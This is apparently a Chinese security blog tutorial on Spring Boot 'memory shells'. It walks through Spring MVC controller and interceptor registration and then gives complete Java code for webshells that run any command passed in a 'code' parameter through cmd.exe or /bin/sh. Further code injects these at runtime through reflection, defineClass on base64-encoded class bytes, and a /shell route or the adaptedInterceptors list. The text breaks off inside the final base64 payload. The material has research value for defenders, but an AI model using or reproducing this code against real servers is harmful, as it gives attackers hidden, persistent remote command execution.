前言

Spring框架比较常用就不说了,网上大部分都是建一个spring+springmvc的项目来测试内存马,内存马主要的逻辑部分都集中在springmvc的部分,因为负责处理路由请求基本都是都是需要经由springmvc,所以我看也有叫springmvc内存马的。

我这里就直接搭一个springboot项目比较方便了,反正本身也是有springmvc的,所以内部逻辑也是一样分析

版本如下

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.10</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>

Controller内存马

Contoller注册流程

我们要先知道Controller的注册逻辑

编写一个简单的controller然后下断点

package org.clown.springbootmemoryshell.contorller;


import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloController {

@GetMapping("/hello")
public String hello() {
return "Hello World";
}
}

image-20241113133819511

这里能看到请求处理的调用栈

在AbstractHandlerMethodMapping的initHandlerMethods方法下断点来看看是怎么注册controller的

image-20241113134431011

从这个代码中也可以看到就是开始对每个扫描到的beanName对应的bean开始处理

进去看看他的process方法是怎么处理的

image-20241113135311833

直接看对我们写的helloController是怎么处理,这里有个isHandler()方法

image-20241113135415874

他会判断这个bean是否为Controller或者RequestMapping,很明显我们的这个会返回true

然后就会进到detectHandlerMethods方法,进去看一下这个方法

image-20241113162637157

可以看到他会先获取对应的userType、handler、method,还有对应的Mapping,最后遍历类中的所有方法和mapping,然后调用一个registerHandlerMethod方法来进行注册绑定

这里的mapping从图中可以看到他的信息是被保存在RequestMappingInfo这个类中的,下面是该类中的一些属性

image-20241113163354872

然后mapping的创建是在前面的getMappingForMethod方法创建的

image-20241113163647021

进去看看

image-20241113164045236

里面的具体流程就自己看看就行,总之他会解析方法上的注解,然后创建对应的RequestMappingInfo

再回到registerHandlerMethod注册方法这里

image-20241113164335000

image-20241113164359179

image-20241113164444913

可以知道,最终就是调用的AbstractHandlerMethodMapping$MappingRegistry的register方法将路由和方法注册进去的,跟到这里就已经够了

所以我们要创建一个controller最终就是要调用MappingRegistry#register方法,调用这个方法的条件根据前面的分析可知

  1. bean实例
  2. 处理请求的method
  3. 对应的RequestMappinginfo对象

内存马实现

参考y4师傅的实现方式

首先我们要编写一个正常的controller类,也不能说正常就是去掉注解的controller,因为我们是手动加载的所以不需要注解

package org.clown.springbootmemoryshell.contorller;


import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.util.Scanner;


public class TestController {
public void test(HttpServletRequest request, HttpServletResponse response) {
try {
String arg0 = request.getParameter("code");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}

Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception var8) {

}
}
}

然后将他编译成.class文件,再拿他的base64编码的字符串用下面代码注入内存马

package org.clown.springbootmemoryshell.contorller;


import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Method;

@RestController
public class HelloController {

@GetMapping("/hello")
public String hello() throws Exception{
String code ="yv66vgAAADQAjQoAIQBJCABKCwBLAEwLAE0ATggATwgAUAoAUQBSCgAMAFMIAFQKAAwAVQcAVgcAVwgAWAgAWQoACwBaCABbCABcBwBdCgALAF4KAF8AYAoAEgBhCABiCgASAGMKABIAZAoAEgBlCgASAGYKAGcAaAoAZwBpCgBnAGYLAE0AagcAawcAbAcAbQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA7TG9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcjsBAAR0ZXN0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAVwcAbgcAVgcAXQcAawEAEE1ldGhvZFBhcmFtZXRlcnMBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA4TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZzsBAAV2YWx1ZQEABi9zaGVsbAEABm1ldGhvZAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDsBAANHRVQBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQEAOExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVzdENvbnRyb2xsZXI7DAAiACMBAARjb2RlBwBvDABwAHEHAHIMAHMAdAEAAAEAB29zLm5hbWUHAHUMAHYAcQwAdwB4AQADd2luDAB5AHoBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHsBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAfAB9BwB+DAB/AIAMACIAgQEAAlxBDACCAIMMAIQAhQwAhgB4DACHACMHAG4MAIgAiQwAigAjDACLAIwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5b3JnL2Nsb3duL3NwcmluZ2Jvb3RtZW1vcnlzaGVsbC9jb250b3JsbGVyL1Rlc3RDb250cm9sbGVyAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAVjbG9zZQEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFZmx1c2gBAAlzZW5kRXJyb3IBAAQoSSlWACEAIAAhAAAAAAACAAEAIgAjAAEAJAAAAC8AAQABAAAABSq3AAGxAAAAAgAlAAAABgABAAAADgAmAAAADAABAAAABQAnACgAAAABACkAKgADACQAAAGoAAYACAAAALMrEgK5AAMCAE4suQAEAQA6BC3GAJMSBToFEga4AAe2AAgSCbYACpkAIbsAC1kGvQAMWQMSDVNZBBIOU1kFLVO3AA86BqcAHrsAC1kGvQAMWQMSEFNZBBIRU1kFLVO3AA86BrsAElkZBrYAE7YAFLcAFRIWtgAXOgcZB7YAGJkACxkHtgAZpwAFGQU6BRkHtgAaGQQZBbYAGxkEtgAcGQS2AB2nAAwsEQGUuQAeAgCnAAROsQABAAAArgCxAB8AAwAlAAAASgASAAAAEgAJABMAEQAUABUAFQAZABcAKQAYAEcAGgBiAB0AeAAeAIwAHwCRACAAmAAhAJ0AIgCiACMApQAkAK4AKACxACYAsgApACYAAABcAAkARAADACsALAAGABkAiQAtAC4ABQBiAEAAKwAsAAYAeAAqAC8AMAAHAAkApQAxAC4AAwARAJ0AMgAzAAQAAACzACcAKAAAAAAAswA0ADUAAQAAALMANgA3AAIAOAAAACkACP4ARwcAOQcAOgcAOfwAGgcAO/wAJQcAPEEHADn4ABr5AAhCBwA9AAA+AAAACQIANAAAADYAAAA/AAAAGAABAEAAAgBBWwABcwBCAENbAAFlAEQARQACAEYAAAACAEcAPwAAAAYAAQBIAAA=";
byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code);
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.contorller.TestController",d, 0, d.length});
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
Method mm = (Class.forName("org.clown.springbootmemoryshell.contorller.TestController").getDeclaredMethods())[0];
rs.registerMapping(info, Class.forName("org.clown.springbootmemoryshell.contorller.TestController").newInstance(), mm);
return "Hello World";
}
}

当我们访问hello路由的时候就能成功注入内存马

再去访问shell路由就能执行任意命令了

image-20241113172717161

这里的实现要求服务器上得有你的恶意类,不然Class.forName这里就会报错,问了一下kimi他给出的理由如下:

  1. 类加载机制
    • Java的类加载机制是基于类加载器的。每个类加载器都有自己的类加载缓存。
    • 当你使用Class.forName时,它会尝试从当前线程的上下文类加载器(Thread.currentThread().getContextClassLoader())加载类。
    • 如果类是通过defineClass方法动态创建的,它不会被任何类加载器的缓存,因此无法通过Class.forName找到。
  2. defineClass方法
    • defineClass方法是ClassLoader类的一个方法,用于动态创建类。
    • 通过defineClass创建的类不会被类加载器的缓存,因此无法通过常规的类加载机制找到。

后来在kimi的帮助下改成这样就可以了,就不用Class.forName,直接让他invoke的时候强转成Class就可以用了

修改后的

package org.clown.springbootmemoryshell.contorller;


import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

@RestController
public class HelloController {

@GetMapping("/hello")
public String hello() throws Exception {
String code ="yv66vgAAADQAhQoAIQBBCABCCwBDAEQLAEUARggARwgASAoASQBKCgAMAEsIAEwKAAwATQcATgcATwgAUAgAUQoACwBSCABTCABUBwBVCgALAFYKAFcAWAoAEgBZCABaCgASAFsKABIAXAoAEgBdCgASAF4KAF8AYAoAXwBhCgBfAF4LAEUAYgcAYwcAZAcAZQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA7TG9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcjsBAAR0ZXN0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcATwcAZgcATgcAVQcAYwEAEE1ldGhvZFBhcmFtZXRlcnMBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQwAIgAjAQAEY29kZQcAZwwAaABpBwBqDABrAGwBAAABAAdvcy5uYW1lBwBtDABuAGkMAG8AcAEAA3dpbgwAcQByAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAIgBzAQAHL2Jpbi9zaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIMAHQAdQcAdgwAdwB4DAAiAHkBAAJcQQwAegB7DAB8AH0MAH4AcAwAfwAjBwBmDACAAIEMAIIAIwwAgwCEAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOW9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgAhACAAIQAAAAAAAgABACIAIwABACQAAAAvAAEAAQAAAAUqtwABsQAAAAIAJQAAAAYAAQAAAA0AJgAAAAwAAQAAAAUAJwAoAAAAAQApACoAAgAkAAABqAAGAAgAAACzKxICuQADAgBOLLkABAEAOgQtxgCTEgU6BRIGuAAHtgAIEgm2AAqZACG7AAtZBr0ADFkDEg1TWQQSDlNZBS1TtwAPOganAB67AAtZBr0ADFkDEhBTWQQSEVNZBS1TtwAPOga7ABJZGQa2ABO2ABS3ABUSFrYAFzoHGQe2ABiZAAsZB7YAGacABRkFOgUZB7YAGhkEGQW2ABsZBLYAHBkEtgAdpwAMLBEBlLkAHgIApwAETrEAAQAAAK4AsQAfAAMAJQAAAEoAEgAAABAACQARABEAEgAVABMAGQAVACkAFgBHABgAYgAbAHgAHACMAB0AkQAeAJgAHwCdACAAogAhAKUAIgCuACYAsQAkALIAJwAmAAAAXAAJAEQAAwArACwABgAZAIkALQAuAAUAYgBAACsALAAGAHgAKgAvADAABwAJAKUAMQAuAAMAEQCdADIAMwAEAAAAswAnACgAAAAAALMANAA1AAEAAACzADYANwACADgAAAApAAj+AEcHADkHADoHADn8ABoHADv8ACUHADxBBwA5+AAa+QAIQgcAPQAAPgAAAAkCADQAAAA2AAAAAQA/AAAAAgBA";
byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code);
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
Class<?> clazz = (Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.contorller.TestController", d, 0, d.length});
Constructor<?> constructor = clazz.getConstructor();
Object instance = constructor.newInstance();
System.out.println("Instance created: " + instance);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
Method mm = clazz.getDeclaredMethods()[0];
rs.registerMapping(info, instance, mm);

return "Inject Successful!";
}
}

Interceptor内存马

Interceptor是springMvc的组件,所以他只作用于Spring MVC的请求处理流程,只处理通过Spring MVC的请求

所以他和其他组件也是有区别的:

FilterListener在Servlet容器中配置,通常在web.xml文件中或通过注解配置。

Interceptor在Spring MVC中配置,通常在Spring的配置文件或配置类中。

  • 执行顺序
    • FilterInterceptor之前执行,因为Filter在请求到达Servlet之前就已经执行。
    • InterceptorFilter之后、Controller之前执行。
    • Listener在应用启动、关闭、会话创建、销毁时执行,与请求处理流程无关。

y4师傅的文章中总结的请求到达Controller的顺序:

HttpRequest –> Filter –> DispactherServlet –> Interceptor –> Aspect –> Controller

Interceptor编写

先编写一个简单的interceptor,和上面的controller一样可以执行命令的

package org.clown.springbootmemoryshell.interceptor;


import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
}
p.redirectErrorStream(true);
Process process = p.start();
BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream()));
String result = "";
StringBuilder results=new StringBuilder();
while((result=r.readLine())!=null){
results.append(result+"\r\n");
}
System.out.println(results);
writer.println(results);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}

然后再进行添加注册

package org.clown.springbootmemoryshell.configure;


import org.clown.springbootmemoryshell.interceptor.TestInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/hello");
}
}

image-20241113202533221

Interceptor流程

emmm我本身打算配置类处打个断点分析interceptor的注册流程,但是看文章都是从处理请求的流程来分析的,估计是如果要动态注册的话我们应该是走不到配置类的手动addInterceptor的地方吗🤔

先按着网上的思路来吧,这个点到时有空的话研究一下🫡

那就直接在preHandle下个断点

image-20241113213033793

然后看看调用栈,其中在DispatcherServlet#doDispatch方法里面看到了处理我们PreHandle方法的地方

image-20241113213305476

这个applyPreHandle方法很明显就是处理我们PreHandle的方法,从返回值也可以推出,因为我们PreHandle返回的也是布尔值

从图中的变量值可以看到我们的interceptor就在这个mappedHandler变量当中

image-20241113213755407

那就看看这个mappedHandler是怎么生成的

image-20241113213924826

在doDispatch方法前面有一个getHandler方法,然后传入一个RequestFacade实例processedRequest,这个processedRequest是前面checkMultipart方法检查一下,该方法主要判断request是否为文件上传请求,不是的话则会原样返回

跟进去getHandler

image-20241113214501797

然后就是遍历每一个HandlerMapping,然后从中取得HandlerExecutionChain实例,如果能找到请求对应的Handler就返回,继续跟进,调用了AbstractHandlerMapping#getHandler方法

image-20241113215756803

这里首先获得一个handler,然后调用getHandlerExecutionChain返回了一个HandlerExecutionChain实例executionChain,看看这个方法

image-20241113215627045

里面显示new了一个HandlerExecutionChain,然后遍历adaptedInterceptors里的interceptor添加进去他的interceptorList里面

image-20241113215958004

interceptor有如下的这三种

image-20241113220049185

再往下他就直接返回了这个executionChain

image-20241113220218053

然后返回的handler也是这个

image-20241113220259687

然后最终执行就是我们前面说的那个applyPreHandle方法

image-20241113220624107

里面遍历了每个interprector然后进行调用

那现在我们就知道应该在哪里插入我们的interceptor了

内存马实现

根据前面的分析所有的interceptor是存在adaptedInterceptors里面,这个属性在org.springframework.web.servlet.handler.AbstractHandlerMapping里面

image-20241113221751279

所以思路就是反射获取到这个变量,然后添加我们自己的恶意interceptor即可

编写的interceptor还是用我们一开始的那个TestInterceptor,现在先不把他加入配置,我们等会手动加入

然后编写内存马代码的步骤

  • 首先获取应用的上下文环境,也就是ApplicationContext
  • 然后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射),也有文章直接获取RequestMappingHandlerMapping也可以,下面写的就是用的这个
  • 反射获取 AbstractHandlerMapping类的 adaptedInterceptors字段
  • 通过 adaptedInterceptors注册拦截器
package org.clown.springbootmemoryshell.contorller;


import org.clown.springbootmemoryshell.interceptor.TestInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Field;
import java.util.List;

@RestController
public class AddInterceptor {

@GetMapping("/interceptor")
public String addInterceptor() {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// AbstractHandlerMapping mappingHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
TestInterceptor evilInterceptor = new TestInterceptor();
adaptInterceptors.add(evilInterceptor);
return "Interceptor added!";
}
}

我们访问interceptor这个路由就会成功注册我们的interceptor

image-20241113224259546

image-20241113224312450

这里的实现也可以改一下,改成前面Controller的base64的形式,这样就不需要服务器有对应的类了

修改后的exp

package org.clown.springbootmemoryshell.contorller;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.List;

@RestController
public class AddInterceptor {

@GetMapping("/interceptor")
public String addInterceptor() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// AbstractHandlerMapping mappingHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
String code ="yv66vgAAADQArAoAKABeCABFCwBfAGALAGEAYggAYwoAZABlCgALAGYIAGcKAAsAaAcAaQcAaggAawgAbAoACgBtCABuCABvCgAKAHAKAAoAcQcAcgcAcwoAdAB1CgAUAHYKABMAdwgAeAcAeQoAGQBeCgATAHoKABkAewgAfAoAGQB9CQBkAH4KAH8AgAoAgQCACgCBAIIKAIEAgwcAhAsAKQCFCwApAIYHAIcHAIgHAIkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAPUxvcmcvY2xvd24vc3ByaW5nYm9vdG1lbW9yeXNoZWxsL2ludGVyY2VwdG9yL1Rlc3RJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAFyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVzdWx0cwEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABGNvZGUBAA1TdGFja01hcFRhYmxlBwBqBwCKBwBpBwCHBwCLBwCMBwCIBwCNBwByBwB5BwCEAQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAPYWZ0ZXJDb21wbGV0aW9uAQB5KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL0V4Y2VwdGlvbjspVgEAAmV4AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAKU291cmNlRmlsZQEAFFRlc3RJbnRlcmNlcHRvci5qYXZhDAAqACsHAIsMAI4AjwcAjAwAkACRAQAHb3MubmFtZQcAkgwAkwCPDACUAJUBAAN3aW4MAJYAlwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACoAmAEACS9iaW4vYmFzaAEAAi1jDACZAJoMAJsAnAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVh